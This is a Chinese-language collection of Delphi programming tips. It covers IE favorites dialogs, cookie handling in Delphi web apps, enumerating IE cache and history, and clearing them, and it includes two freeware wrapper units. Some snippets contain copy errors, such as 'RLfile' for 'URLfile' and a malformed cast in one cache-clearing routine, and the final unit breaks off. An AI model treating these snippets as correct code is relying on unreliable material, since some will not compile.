        procedure TForm1.AddFavorite(Sender: TObject);

        var

          ShellUIHelper: ISHellUIHelper;

          url, title: Olevariant;

        begin

          Title := Webbrowser1.LocationName;

          Url := Webbrowser1.LocationUrl;

          if Url <> '' then

          begin

            ShellUIHelper := CreateComObject(CLSID_SHELLUIHELPER) as IShellUIHelper;

            ShellUIHelper.AddFavorite(url, title);

          end;

        end;

    用上面的通过ISHellUIHelper接口来打开“添加到收藏夹”对话框的方法比较简单，但是有个缺陷，就是打开的窗口不是模式窗口，而是独立于应用程序的。可以想象，如果使用与OrganizeFavorite过程同样的方法来打开对话框，由于可以指定父窗口的句柄，自然可以实现模式窗口（效果与在资源管理器和IE中打开“添加到收藏夹”对话框相同）。问题显然是这样的，上面两个过程的作者当时只知道shdocvw.dll中DoOrganizeFavDlg的原型而不知道DoAddToFavDlg的原型，所以只好用ISHellUIHelper接口来实现（或许是他不够严谨，认为是否是模式窗口无所谓？）。

    下面的过程就告诉你DoAddToFavDlg的函数原型。需要注意的是，这样打开的对话框并不执行“添加到收藏夹”的操作，它只是告诉应用程序用户是否选择了“确定”，同时在DoAddToFavDlg的第二个参数中返回用户希望放置Internet快捷方式的路径，建立.Url文件的工作由应用程序自己来完成。

        procedure TForm1.AddFavorite(IE: TEmbeddedWB);

          procedure CreateUrl(AUrlPath, AUrl: PChar);

          var

            URLfile: TIniFile;

          begin

            URLfile := TIniFile.Create(String(AUrlPath));

          RLfile.WriteString('InternetShortcut', 'URL', String(AUrl));

          RLfile.Free;

          end;

        var

          AddFav: function(Handle: THandle;

            UrlPath: PChar; UrlPathSize: Cardinal;

            Title: PChar; TitleSize: Cardinal;

            FavIDLIST: pItemIDList): Bool; stdcall;

          FDoc: IHTMLDocument2;

          UrlPath, url, title: array[0..MAX_PATH] of char;

          H: HWnd;

          pidl: pItemIDList;

          FRetOK: Bool;

        begin

          FDoc := IHTMLDocument2(IE.Document);

          if FDoc = nil then exit;

          StrPCopy(Title, FDoc.Get_title);

          StrPCopy(url, FDoc.Get_url);

          if Url <> '' then

          begin

            H := LoadLibrary(PChar('shdocvw.dll'));

            if H <> 0 then

            begin

              SHGetSpecialFolderLocation(0, CSIDL_FAVORITES, pidl);

              AddFav := GetProcAddress(H, PChar('DoAddToFavDlg'));

              if Assigned(AddFav) then

                FRetOK :=AddFav(Handle, UrlPath, Sizeof(UrlPath), Title, Sizeof(Title), pidl)

            end;

            FreeLibrary(h);

            if FRetOK then

              CreateUrl(UrlPath, Url);

          end

        end;


判断一个URL是否已经在IE的Cache中
getcacheentryinfo


Cookie的建立使用

根据 Netscape公司的规定 ,Cookie的格式应为 :

Set-Cookie: Name=Value; expires=DATA; Path=PATH; domain=DOMAIN_NAME; s

ecure

而且根据规定 ,日期 (DATA)的设置必须满足格式“ Wdy, DD-Mon-YYYY HH:MM:SS G

MT” ,基于 RFC822, RFC850, RFC1036和 RFC1123等规定，但是检查 HTTPAPP.PAS中

的 function TCookie.GetHeaderValue: string中为 FormatDateTime('"expires=

"' + DateFormat + ' "GMT; "', Expires);,其中 const DateFormat = 'ddd, d

d mmm yyyy hh:mm:ss',此程序在英文环境中产生的格式是正确的 ,但是在中文中

产生的结果却不对 ,因为星期和月份都将按照中文的表示方法：如将 11月生产“十

一月”中文串，这样在 Netscape Navigator和 Microsoft Internet Explorer就不

能辨认了。

既然错误在于原 VCL未考虑中文环境的问题，所以修改的方法有： 1、修改 VC

L源程序，编译后将 dcu文件拷贝到 Lib目录，这样会完全改正错误，这样是最根本

的解决方法，但是如果将源程序放在另一未修改的 Delphi中 (例如提供源程序给别

人和自己重新安装 )编译又将出现问题。 2、因为使用并不太多，所以可以将修改

的程序放在自己的程序中，使用 Delphi 3提供的 TWebResponse.SetCustomHeader

设置 ,这样的好处是将程序放在自己的程序内，重新装 Delphi或在另一台计算机上

编译的结果也会完全正确。因为 Cookie的目的一般有两种，一种是在此会话过程

中使用，过后不使用，此时不需要 Expires段，不会产生时间错误，可以使用 Del

phi 3提供的所有 Cookie程序；另一种为永久保存，时间一般越长越好，于是可以

将时间设置为 2099年二月 22日 , 于是程序中设置 Cookie的方法为 :

   Response.SetCustomHeader('Set-Cookie','Name=Value; expires=Sun, 22 F

eb 2099 08:08:08 GMT'); (注斜体用自己的名称代替，例如设置 Count＝ 10，则

Name用 Count代替， Value用 10代替 )，这样就可以建立 Cookie了 .

以下为建立一个访问计数器的程序，可以参照：

const

LastIp:String='0:0:0:0'; //避免重复计数

Var

S:String;

Count:Integer;

begin

S:=Request.CookieFields.Values['count'];

if S<>'' then begin

try

Count:=StrToInt(S);

Except

Count:=0;

End;

end else Count:=0;

if LastIp<>Request.RemoteAddr then Inc(Count);

LastIp:=Request.RemoteAddr;

Response.SetCustomHeader('Set-Cookie','count='+IntToStr(Count)+';

expires=Sun, 21 Feb 2010 08:08:08 GMT');

Response.Content:='您是第 '+IntToStr(Count)+'来到本页 !';

End;


读写Cookie的例程

Cookie实际是一个字符串，它的格式是 CookieName=CookieValue。Cookie中不应该有分号或逗号。客户可以拒绝Cookie，所以任何一个Web应用程序不能认为客户的机器肯定有Cookie。察看Cookie的情况可以在Windows中找。

在Delphi中管理Cookie是一件非常容易的事。THTTPRequest和THTTPResponse都封装了用来处理Cookie的特性和方法，允许您控制怎样读写Cookie。

要设置Cookie的内容，您可以调用TWebResponse的SetCookieField的方法。这个方法需要传递一个TStrings对象作为Cookie的内容以及这个Cookie的限制条件。SetCookieField()方法是这样声明的： procedure SetCookieField(Values:TStrings;const ADomain,APath:string;AExpires:TDateTime;ASecure:Boolean);Values参数是一个TStrings对象(也可以使用TStringList对象),用于指定Cookie的实际内容。Values中可以包含多个Cookie。ADomain 参数用于限制服务器的域，Cookie只对特定域的服务器是有效的。如果这个参数为空，Cookie将被传递给任何一个服务器。一般情况下，应当把这个参数设为Web服务器的域名。APath参数用于指定一组路径，Cookie只在特定的路径下是合法的。AExpires参数用于指定Cookie在多长时间内是合法的，由于时差的原因，这个时间应当基于GMT时区。如果您想使Cookie的有效时间是10天，就应当把这个参数设为Now+10。如果要使一个Cookie无效，这个参数可以设为过去的一个时间。注意，一个Cookie无效后，就不会被传递给服务器，但并不从客户机中删除。ASecure参数是一个boolean值，如果这个参数设为True，表示Cookie只能通过HTTP或SSL传递。一般情况，这个参数设为False。 在Web服务器端，您可以通过TWebRequest的CookieFields特性访问由客户传递来的Cookie。这个特性是一个TStrings对象，每个Cookie的格式是param=value。调用TWebRequest的ExtractCookieFields()方法可以把多个Cookie分解为一个个字符串。

Cookie可以保存任何字符串所能表达的信息。Cookie的长度最多可达4KB,客户的机器最多可以保存300个Cookie.每个服务器或域的Cookie不超过20个。下面举一个例子说明Cookie的应用：var

CookList : TStringList;

iBZ,fcbz:integer;&nbsp;begin

CookList := TStringList.Create;

try

CookList.Add('NSRID='+ sNSRID);

CookList.Add('NSRMC=' + sNSRMC);

CookList.Add('WJBM=' + sWJBM);

CookList.Add('YHZH=' + sYHZH);

iBZ:=0;

fcbz:=0;

CookList.Add('BZ=' + IntToStr(iBZ));

CookList.Add('FCBZ=' + IntToStr(fcbz));

Response.SetCookieField(cookList,'','',Now+10,False);

finally

cookList.Free;

End;

End;//创建Cookie iBZ:=StrToInt(Request.CookieFields.Values['BZ']);//使用Cookie


取得IE的历史记录信息

IE的历史记录保存为文件格式，如何获得这些文件的建立时间和访问次数？

首先在uses部分包括WinInet单元，你会发现里面有这样一个函数：

function GetUrlCacheEntryInfo(lpszUrlName: PAnsiChar;

var lpCacheEntryInfo: TInternetCacheEntryInfo;

var lpdwCacheEntryInfoBufferSize: DWORD): BOOL; stdcall;

但这种声明方式不易使用(你可以试一下)，但可以改成如下声明：

function MyGetUrlCacheEntryInfo(lpszUrlName: PAnsiChar;

lpCacheEntryInfo: PInternetCacheEntryInfo;

lpdwCacheEntryInfoBufferSize: PDWORD): BOOL; stdcall; external 'wininet.dll' name 'GetUrlCacheEntryInfoA';

下面是一个简单的范例，希望能对你有所帮助。

procedure ShowCacheInfo;

var

dwCacheEntryInfoBufferSize: DWORD;

lpCacheEntryInfo: PInternetCacheEntryInfo;

begin

//第一次调用，返回需要的字节数在dwCacheEntryInfoBufferSize中

dwCacheEntryInfoBufferSize := 0;

MyGetUrlCacheEntryInfo('http://www.scmp.net/', lpCacheEntryInfo,

@dwCacheEntryInfoBufferSize);

//由第一次调用得到的返回值，分配足够的内存空间，然后第二次调用

GetMem(lpCacheEntryInfo, dwCacheEntryInfoBufferSize);

try

//如果调用成功，返回的信息在lpCacheEntryInfo中

if MyGetUrlCacheEntryInfo('http://www.scmp.net/', lpCacheEntryInfo,

@dwCacheEntryInfoBufferSize) then

begin

//lpCacheEntryInfo是指向INTERNET_CACHE_ENTRY_INFOA结构的指针，参考WinInet

//单元内INTERNET_CACHE_ENTRY_INFOA结构的定义，那里面有你想要的一切，下面将

//显示点击次数。

ShowMessage(IntToStr(lpCacheEntryInfo.dwHitRate));

end;

finally

freemem(lpCacheEntryInfo);

end;

end;

end.

请问如何获得ie中历史的信息

用IUrlHistoryStd2 接口可以实现，在VC的文档中没有这个接口的描述，不过你可以取看VC的源程序和头文件。

如下面是在记录中添加50条

IUrlHistoryStg2* pUrlHistoryStg2 = NULL;

HRESULT hr = CoCreateInstance(CLSID_CUrlHistory,

NULL, CLSCTX_INPROC, IID_IUrlHistoryStg2,

(void**)&pUrlHistoryStg2);

if (SUCCEEDED(hr))

{

char a[200];

char b[200];

strcpy(a,"www.csdn.net");

strcpy(b,"test");

hr=pUrlHistoryStg2->AddUrl((LPCOLESTR)(&a),(LPCOLESTR)(&b),0);

pUrlHistoryStg2->Release();

}


查看IE历史记录信息

procedure TForm1.Button4Click(Sender: TObject);

var

FirstCacheHandle: THandle;

PFirstCacheEntryInfo,PNextCacheEntryInfo: PInternetCacheEntryInfoA;

FirstCacheEntryInfo,NextCacheEntryInfo: TInternetCacheEntryInfoA;

FirstCacheEntryInfoBufferSize,NextCacheEntryInfoBufferSize: Dword;

HaveItem :Boolean;

begin

HaveItem := True;

FirstCacheEntryInfoBufferSize := 0;

NextCacheEntryInfoBufferSize := 0;

FirstCacheEntryInfo.dwStructSize := FirstCacheEntryInfoBufferSize;

NextCacheEntryInfo.dwStructSize := NextCacheEntryInfoBufferSize;

GetMem(PFirstCacheEntryInfo,sizeof(TInternetCacheEntryInfoA));

GetMem(PNextCacheEntryInfo,sizeof(TInternetCacheEntryInfoA));

//Dispose(PNextCacheEntryInfo);

PFirstCacheEntryInfo^.dwStructSize := sizeof(TInternetCacheEntryInfoA);

PNextCacheEntryInfo^.dwStructSize := sizeof(TInternetCacheEntryInfoA);

FirstCacheHandle := 0;

while FirstCacheHandle=0 do

begin

FirstCacheHandle :=FindFirstUrlCacheEntryEx

('',0,URLCACHE_FIND_DEFAULT_FILTER

,0,PFirstCacheEntryInfo,@FirstCacheEntryInfoBufferSize,nil,nil,nil);

if FirstCacheHandle =0 then

begin

//Freemem(PFirstCacheEntryInfo);

case GetLastError of

ERROR_NO_MORE_ITEMS :

begin

FindCloseUrlCache(FirstCacheHandle);

FreeMem(PFirstCacheEntryInfo);

Break;

end;

ERROR_INSUFFICIENT_BUFFER :

begin

FreeMem(PFirstCacheEntryInfo);

GetMem(PFirstCacheEntryInfo,FirstCacheEntryInfoBufferSize);

PFirstCacheEntryInfo^.dwStructSize := FirstCacheEntryInfoBufferSize;

continue;

end;

else

begin

showmessage('Can not Press Cache!');

Break;

end;

end;

end;

end ;

try

while HaveItem=true do

begin

if not (FindNextUrlCacheEntryEx(FirstCacheHandle,PNextCacheEntryInfo,

@NextCacheEntryInfoBufferSize,nil,nil,nil)) then

begin

//FreeMem(PNextCacheEntryInfo);

case GetLastError of

ERROR_NO_MORE_ITEMS :

begin

FindCloseUrlCache(FirstCacheHandle);

HaveItem :=false;

continue;

end;

ERROR_INSUFFICIENT_BUFFER :

begin

FreeMem(PNextCacheEntryInfo);

GetMem(PNextCacheEntryInfo,NextCacheEntryInfoBufferSize);

PNextCacheEntryInfo^.dwStructSize := NextCacheEntryInfoBufferSize;

continue;

end;

else

begin

FreeMem(PNextCacheEntryInfo);

showmessage('Error');

Break;

end;

end;

end

else

begin

Listbox1.items.add(strpas(PNextCacheEntryInfo^.lpszSourceUrlName));

Listbox2.items.add(strpas(PNextCacheEntryInfo^.lpszLocalFileName));

end;

end;

except

end;

//freemem(PFirstCacheEntryInfo);

//freemem(PNextCacheEntryInfo);

//Dispose(PFirstCacheEntryInfo);

end;


历史记录URL单元

//***********************************************************

// UrlHistory ver 1.00 (July 27, 2000) *

// *

// For Delphi 4 & 5 *

// Freeware Component *

// by *

// Per Linds?Larsen *

// per.lindsoe@larsen.dk *

// *

// *

// Documentation and updated versions: *

// *

// http://www.euromind.com/iedelphi *

// http://www.intelligo.net/iedelphi *

//***********************************************************

unit UrlHistory;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Activex, Comobj;

const

STATURL_QUERYFLAG_ISCACHED = $00010000;

STATURL_QUERYFLAG_NOURL = $00020000;

STATURL_QUERYFLAG_NOTITLE = $00040000;

STATURL_QUERYFLAG_TOPLEVEL = $00080000;

STATURLFLAG_ISCACHED = $00000001;

STATURLFLAG_ISTOPLEVEL = $00000002;

IID_IEnumStatUrl: TGUID = (D1: $3C374A42; D2: $BAE4; D3: $11CF; D4: ($BF, $7D, $00, $AA, $00, $69, $46, $EE));

IID_IUrlHistoryStg: TGUID = (D1: $3C374A41; D2: $BAE4; D3: $11CF; D4: ($BF, $7D, $00, $AA, $00, $69, $46, $EE));

IID_IUrlHistoryStg2: TGUID = (D1: $AFA0DC11; D2: $C313; D3: $831A; D4: ($83, $1A, $00, $C0, $4F, $D5, $AE, $38));

IID_IUrlHistoryNotify: TGUID = (D1: $BC40BEC1; D2: $C493; D3: $11D0; D4: ($83, $1B, $00, $C0, $4F, $D5, $AE, $38));

SID_IEnumStatUrl = '{3C374A42-BAE4-11CF-BF7D-00AA006946EE}';

SID_IUrlHistoryStg = '{3C374A41-BAE4-11CF-BF7D-00AA006946EE}';

SID_IUrlHistoryStg2 = '{AFA0DC11-C313-11d0-831A-00C04FD5AE38}';

SID_IURLHistoryNotify = '{BC40BEC1-C493-11d0-831B-00C04FD5AE38}';

CLSID_CUrlHistory: TGUID = '{3C374A40-BAE4-11CF-BF7D-00AA006946EE}';

type

TSTATURL = record

cbSize: DWORD;

pwcsUrl: DWORD;

pwcsTitle: DWORD;

ftLastVisited: FILETIME;

ftLastUpdated: FILETIME;

ftExpires: FILETIME;

dwFlags: DWORD;

end;

PEntry = ^TEntry;

TEntry = record

Url: string;

Title: string;

Lastvisited,

LastUpdated,

Expires: TDateTime;

end;

IEnumSTATURL = interface(IUnknown)

['{3C374A42-BAE4-11CF-BF7D-00AA006946EE}']

function Next(celt: Integer; out elt; pceltFetched: PLongint): HRESULT; stdcall;

function Skip(celt: Longint): HRESULT; stdcall;

function Reset: HResult; stdcall;

function Clone(out ppenum: IEnumSTATURL): HResult; stdcall;

function SetFilter(poszFilter: PWideChar; dwFlags: DWORD): HResult; stdcall;

end;

IUrlHistoryStg = interface(IUnknown)

['{3C374A41-BAE4-11CF-BF7D-00AA006946EE}']

function AddUrl(pocsUrl: PWideChar; pocsTitle: PWideChar; dwFlags: Integer): HResult; stdcall;

function DeleteUrl(pocsUrl: PWideChar; dwFlags: Integer): HResult; stdcall;

function QueryUrl(pocsUrl: PWideChar; dwFlags: Integer; var lpSTATURL: TSTATURL): HResult; stdcall;

function BindToObject(pocsUrl: PWideChar; var riid: TIID; out ppvOut: Pointer): HResult; stdcall;

function EnumUrls(out ppenum: IEnumSTATURL): HResult; stdcall;

end;

IUrlHistoryStg2 = interface(IUrlHistoryStg)

['{AFA0DC11-C313-11D0-831A-00C04FD5AE38}']

function AddUrlAndNotify(pocsUrl: PWideChar; pocsTitle: PWideChar; dwFlags: Integer;

fWriteHistory: Integer; var poctNotify: Pointer;

const punkISFolder: IUnknown): HResult; stdcall;

function ClearHistory: HResult; stdcall;

end;

IUrlHistoryNotify = interface(IOleCommandTarget)

['{BC40BEC1-C493-11d0-831B-00C04FD5AE38}']

end;

TSortDirectionOption = (sdAscending, sdDescending);

TSortFieldOption = (sfTitle, sfURL, sfLastVisited, sfLastUpdated, sfExpires);

TSearchFieldOption = (seBoth, seTitle, seURL);

type

TOnAcceptEvent = Procedure(Title, Url : String; LastVisited, LastUpdated, Expires: TDateTime;

var Accept : Boolean) of object;

TOnDeleteEvent = procedure(Title, Url : String; LastVisited, LastUpdated, Expires: TDateTime;

var Delete : Boolean) of object;

TUrlHistory = class(TComponent)

private

{ Private declarations }

FSearch : String;

FAccept : Boolean;

FDelete : Boolean;

FOnDelete : TOnDeleteEvent;

FOnAccept : TOnAcceptEvent;

FSortDirection: TSortDirectionOption;

FSortField: TSortFieldOption;

FSearchField: TSearchFieldOption;

Stg: IUrlHistoryStg2;

Enum: IEnumStatUrl;

protected

{ Protected declarations }

procedure ClearList;

procedure Accept(Title, Url : String; LastVisited, LastUpdated, Expires: TDateTime;

var Accept : Boolean);

procedure Delete(Title, Url : String; LastVisited, LastUpdated, Expires: TDateTime;

var Delete : Boolean);

procedure Loaded; override;

public

Items: TList;

{ Public declarations }

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

function Enumerate: Integer;

function DeleteEntries: Integer;

function AddUrl(Url: PWideChar; Title: PWideChar): HResult;

function DeleteUrl(Url: PWideChar): HResult;

function QueryUrl(Url: PWideChar; var Entry: TEntry): HResult;

function ClearHistory: HResult;

published

{ Published declarations }

property OnAccept : TOnAcceptEvent read FOnAccept write FOnAccept;

property OnDelete : TOnDeleteEvent read FOnDelete write FOnDelete;

property SortField: TSortFieldOption read FSortField write FSortField;

property SearchField: TSearchFieldOption read FSearchField write FSearchField;

property Search : String read FSearch write FSearch;

property SortDirection: TSortDirectionOption read FSortDirection write FSortDirection;

end;

procedure Register;

implementation

var

Ascending: Boolean;

procedure Register;

begin

RegisterComponents('Samples', [TUrlHistory]);

end;

function TitleSortFunc(Item1, Item2: Pointer): Integer;

begin

if ((PEntry(Item1).Title < PEntry(Item2).Title) and Ascending)

or ((PEntry(Item1).Title > PEntry(Item2).Title) and not Ascending)

then result := -1

else

if PEntry(Item1).Title = PEntry(Item2).Title then result := 0

else Result := 1;

end;

function UrlSortFunc(Item1, Item2: Pointer): Integer;

begin

if ((PEntry(Item1).Url < PEntry(Item2).Url) and Ascending)

or ((PEntry(Item1).Url > PEntry(Item2).Url) and not Ascending)

then result := -1

else

if PEntry(Item1).Url = PEntry(Item2).Url then result := 0

else Result := 1;

end;

function LastVisitedSortFunc(Item1, Item2: Pointer): Integer;

begin

if ((PEntry(Item1).LastVisited < PEntry(Item2).LastVisited) and Ascending)

or ((PEntry(Item1).LastVisited > PEntry(Item2).LastVisited) and not Ascending)

then result := -1

else

if PEntry(Item1).LastVisited = PEntry(Item2).LastVisited then result := 0

else Result := 1;

end;

function LastUpdatedSortFunc(Item1, Item2: Pointer): Integer;

begin

if ((PEntry(Item1).LastUpdated < PEntry(Item2).LastUpdated) and Ascending)

or ((PEntry(Item1).LastUpdated > PEntry(Item2).LastUpdated) and not Ascending)

then result := -1

else

if PEntry(Item1).LastUpdated = PEntry(Item2).LastUpdated then result := 0

else Result := 1;

end;

function ExpiresSortFunc(Item1, Item2: Pointer): Integer;

begin

if ((PEntry(Item1).Expires < PEntry(Item2).Expires) and Ascending)

or ((PEntry(Item1).Expires > PEntry(Item2).Expires) and not Ascending)

then result := -1

else

if PEntry(Item1).Expires = PEntry(Item2).Expires then result := 0

else Result := 1;

end;

function FileTimeToDt(Ft: TFileTime): TDateTime;

var

l: Integer;

lft: TFileTime;

begin

FileTimeToLocalFiletime(Ft, lft);

if FileTimeToDosDateTime(lft, Longrec(l).Hi, Longrec(l).Lo) then

result := FiledateToDatetime(l) else

result := 0;

end;

{ TUrlHistory }

function TUrlHistory.AddUrl(Url, Title: PWideChar): HResult;

begin

Result := Stg.AddUrl(Url, Title, 0);

end;

function TUrlHistory.ClearHistory: HResult;

begin

Result:=Stg.ClearHistory;

end;

constructor TUrlHistory.Create(AOwner: TComponent);

begin

inherited;

end;

function TUrlHistory.DeleteUrl(Url: PWideChar): HResult;

begin

Result:=stg.DeleteUrl(Url, 0);

end;

procedure TUrlHistory.ClearList;

var

I: Integer;

begin

if Items <> nil then

begin

for I := 0 to Items.Count - 1 do

Dispose(PEntry(Items[i]));

items.Clear;

end;

end;

function TUrlHistory.Enumerate: Integer;

var

staturl: TStaturl;

title, Url: string;

Entry: PEntry;

Fetched: Integer;

begin

ClearList;

Stg.EnumUrls(Enum);

while enum.next(1, StatUrl, @Fetched) = S_OK do

begin

Url:=PWidechar(Pointer(Staturl.pwcsUrl));

Title := PWidechar(Pointer(Staturl.pwcsTitle));

If FSearch<>'' then

If ((FSearchField=seUrl) and (Pos(FSearch,Url)=0)) or

((FSearchField=seTitle) and (Pos(FSearch,Title)=0)) or

((FSearchField=seBoth) and ((Pos(FSearch,Url)=0)) or (Pos(FSearch,Title)=0))

then Continue;

Entry := New(PEntry);

Entry.Url := Url;

Entry.Title := Title;

Entry.Lastvisited := FileTimeToDt(Staturl.ftLastVisited);

Entry.LastUpdated := FileTimeToDt(Staturl.ftLastUpdated);

Entry.Expires := FileTimeToDt(Staturl.ftExpires);

FAccept:=True;

If Assigned(FOnAccept) then FOnAccept(Entry.Title,Entry.Url,Entry.LastVisited,Entry.LastUpdated,Entry.Expires,FAccept);

If FAccept then Items.Add(Entry);

end;

Ascending := BOOL(FSortDirection = sdAscending);

case FSortField of

sfTitle: items.Sort(TitleSortFunc);

sfUrl: items.Sort(UrlSortFunc);

sfLastVisited: items.Sort(LastVisitedSortFunc);

sfLastUpdated: items.Sort(LastUpdatedSortFunc);

sfExpires: items.Sort(ExpiresSortFunc);

end;

Result := Items.Count;

end;

procedure TUrlHistory.Loaded;

begin

inherited;

Items := TList.Create;

Stg := CreateComObject(CLSID_CUrlHistory) as IUrlHistoryStg2;

end;

destructor TUrlHistory.Destroy;

begin

Clearlist;

if Items <> nil then Items.Free;

inherited;

end;

procedure TUrlHistory.Accept(Title, Url: String; LastVisited, LastUpdated,

Expires: TDateTime; var Accept: Boolean);

begin

end;

procedure TUrlHistory.Delete(Title, Url: String; LastVisited, LastUpdated,

Expires: TDateTime; var Delete: Boolean);

begin

end;

function TUrlHistory.DeleteEntries: Integer;

var

StatUrl : TStatUrl;

Fetched : Integer;

begin

Result:=0;

Stg.EnumUrls(Enum);

while enum.next(1, StatUrl, @Fetched) = S_OK do

begin

FDelete := False;

If Assigned(FOnDelete) then

FOnDelete(PWidechar(Pointer(Staturl.pwcsUrl)),

PWidechar(Pointer(Staturl.pwcsTitle)),

FileTimeToDt(Staturl.ftLastVisited),

FileTimeToDt(Staturl.ftLastUpdated),

FileTimeToDt(Staturl.ftExpires),

FDelete);

If FDelete then

begin

Stg.DeleteUrl(PWidechar(Pointer(Staturl.pwcsUrl)),0);

Inc(Result);

end;

end;

end;

function TUrlHistory.QueryUrl(Url: PWideChar; var Entry: TEntry): HResult;

var

Staturl : TStaturl;

begin

Result:=Stg.QueryUrl(Url,0,Staturl);

if Result=S_OK then begin

Entry.Url := PWidechar(Pointer(Staturl.pwcsUrl));

Entry.Title := PWidechar(Pointer(Staturl.pwcsTitle));

Entry.Lastvisited := FileTimeToDt(Staturl.ftLastVisited);

Entry.LastUpdated := FileTimeToDt(Staturl.ftLastUpdated);

Entry.Expires := FileTimeToDt(Staturl.ftExpires);

end;

end;

end.


清除IE历史记录

清除Internet Explorer临时文件 在TfrmMain你必须引用WinINet单元 Uses WinINet; 然后放上一个TButton按钮命名为btnEmptyCache，加入以下代码：

Procedure TfrmMain.btnEmptyCacheClick( Sender : TObject );

Var

lpEntryInfo : PInternetCacheEntryInfo;

hCacheDir : LongWord;

dwEntrySize : LongWord;

dwLastError : LongWord;

Begin

dwEntrySize := 0;

FindFirstUrlCacheEntry(NIL,TInternetCacheEntryInfoNIL^ ),dwEntrySize );

GetMem( lpEntryInfo, dwEntrySize );

hCacheDir := FindFirstUrlCacheEntry( NIL, lpEntryInfo^,

dwEntrySize );

If ( hCacheDir <> 0 ) Then

DeleteUrlCacheEntry( lpEntryInfo^.lpszSourceUrlName );

FreeMem( lpEntryInfo );

Repeat

dwEntrySize := 0;

FindNextUrlCacheEntry( hCacheDir, TInternetCacheEntryInfo(

NIL^ ), dwEntrySize );

dwLastError := GetLastError();

If ( GetLastError = ERROR_INSUFFICIENT_BUFFER ) Then Begin

GetMem( lpEntryInfo, dwEntrySize );

If ( FindNextUrlCacheEntry( hCacheDir, lpEntryInfo^,

dwEntrySize ) ) Then

DeleteUrlCacheEntry( lpEntryInfo^.lpszSourceUrlName );

FreeMem(lpEntryInfo);

End;

Until ( dwLastError = ERROR_NO_MORE_ITEMS );

End;

*********************

type

TSTATURL = record

cbSize: DWORD;

pwcsUrl: DWORD;

pwcsTitle: DWORD;

ftLastVisited: FILETIME;

ftLastUpdated: FILETIME;

ftExpires: FILETIME;

dwFlags: DWORD;

end;

type

IEnumSTATURL = interface(IUnknown)

['{3C374A42-BAE4-11CF-BF7D-00AA006946EE}']

function Next(celt: Integer; out elt; pceltFetched: PLongint): HRESULT; stdcall;

function Skip(celt: Longint): HRESULT; stdcall;

function Reset: HResult; stdcall;

function Clone(out ppenum: IEnumSTATURL): HResult; stdcall;

function SetFilter(poszFilter: PWideChar; dwFlags: DWORD): HResult; stdcall;

end;

type

IUrlHistoryStg = interface(IUnknown)

['{3C374A41-BAE4-11CF-BF7D-00AA006946EE}']

function AddUrl(pocsUrl: PWideChar; pocsTitle: PWideChar; dwFlags: Integer): HResult; stdcall;

function DeleteUrl(pocsUrl: PWideChar; dwFlags: Integer): HResult; stdcall;

function QueryUrl(pocsUrl: PWideChar; dwFlags: Integer; var lpSTATURL: TSTATURL): HResult; stdcall;

function BindToObject(pocsUrl: PWideChar; var riid: TGUID; out ppvOut: Pointer): HResult; stdcall;

function EnumUrls(out ppenum: IEnumSTATURL): HResult; stdcall;

end;

type

IUrlHistoryStg2 = interface(IUrlHistoryStg)

['{AFA0DC11-C313-11D0-831A-00C04FD5AE38}']

function AddUrlAndNotify(pocsUrl: PWideChar; pocsTitle: PWideChar; dwFlags: Integer;

fWriteHistory: Integer; var poctNotify: Pointer;

const punkISFolder: IUnknown): HResult; stdcall;

function ClearHistory: HResult; stdcall;

end;

function ClearIEHistory:integer;

const

CLSID_CUrlHistory: TGUID = '{3C374A40-BAE4-11CF-BF7D-00AA006946EE}';

var

IEHistory:IUrlHistoryStg2;

begin

IEHistory:=CreateComObject(CLSID_CUrlHistory) as IUrlHistoryStg2;

IEHistory.ClearHistory;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ClearIEHistory;

end;

**********************

uses wininet;

procedure TForm1.Button1Click(Sender: TObject);

var

cache_info:PInternetCacheEntryInfo;

cbSizeOf_Cache_info:dword;

hw:hwnd;

buf:tstrings;

begin

// buf:=tstringlist.Create;

new(cache_info);

hw:=FindFirstUrlCacheEntryEx(nil,0,NORMAL_CACHE_ENTRY or URLHISTORY_CACHE_ENTRY,0,cache_info,@cbSizeOf_Cache_info,nil,nil,nil);

if hw<>0 then

begin

DeleteUrlCacheEntry(cache_info.lpszSourceUrlName);

// buf.Add(cache_info.lpszSourceUrlName);

while FindNextUrlCacheEntryEx(hw,cache_info,@cbSizeOf_Cache_info,nil,nil,nil) do

// buf.Add(cache_info.lpszSourceUrlName);

DeleteUrlCacheEntry(cache_info.lpszSourceUrlName);

end;

FindCloseUrlCache(hw);

dispose(cache_info);

// showmessage(buf.Text);

// buf.Free;

end;


清除IE的Cache

uses

WinInet;

procedure DeleteIECache;

var

lpEntryInfo: PInternetCacheEntryInfo;

hCacheDir: LongWord;

dwEntrySize: LongWord;

begin

dwEntrySize := 0;

FindFirstUrlCacheEntry(nil, TInternetCacheEntryInfo(nil^), dwEntrySize);

GetMem(lpEntryInfo, dwEntrySize);

if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize;

hCacheDir := FindFirstUrlCacheEntry(nil, lpEntryInfo^, dwEntrySize);

if hCacheDir <> 0 then

begin

repeat

DeleteUrlCacheEntry(lpEntryInfo^.lpszSourceUrlName);

FreeMem(lpEntryInfo, dwEntrySize);

dwEntrySize := 0;

FindNextUrlCacheEntry(hCacheDir, TInternetCacheEntryInfo(nil^), dwEntrySize);

GetMem(lpEntryInfo, dwEntrySize);

if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize;

until not FindNextUrlCacheEntry(hCacheDir, lpEntryInfo^, dwEntrySize);

end;

FreeMem(lpEntryInfo, dwEntrySize);

FindCloseUrlCache(hCacheDir);

end;

// Beispiel:

// Example:

procedure TForm1.Button1Click(Sender: TObject);

begin

DeleteIECache;

end;


IE Cache工具单元

{...................................................................

Author : Per Linds?Larsen {lindsoe@post.tele.dk)

Christian Lovis for lib dynamic linking {christian.lovis@dim.hcuge.ch]

UPDATES : http://www.euromind.com/iedelphi

Copyright :

source : IE CACHE Component v 1.02

First release : January 26, 2000

Last release : January 14, 2001

Unit Type : WinInet MS lib wrapper

Compiler :

Comment :

Dependances :

...................................................................}

unit IECache;

interface

uses

wininet, Windows, Messages, SysUtils, Classes;

const

CACHEGROUP_ATTRIBUTE_GET_ALL = $FFFFFFFF;

CACHEGROUP_ATTRIBUTE_BASIC = $00000001;

CACHEGROUP_ATTRIBUTE_FLAG = $00000002;

CACHEGROUP_ATTRIBUTE_TYPE = $00000004;

CACHEGROUP_ATTRIBUTE_QUOTA = $00000008;

CACHEGROUP_ATTRIBUTE_GROUPNAME = $00000010;

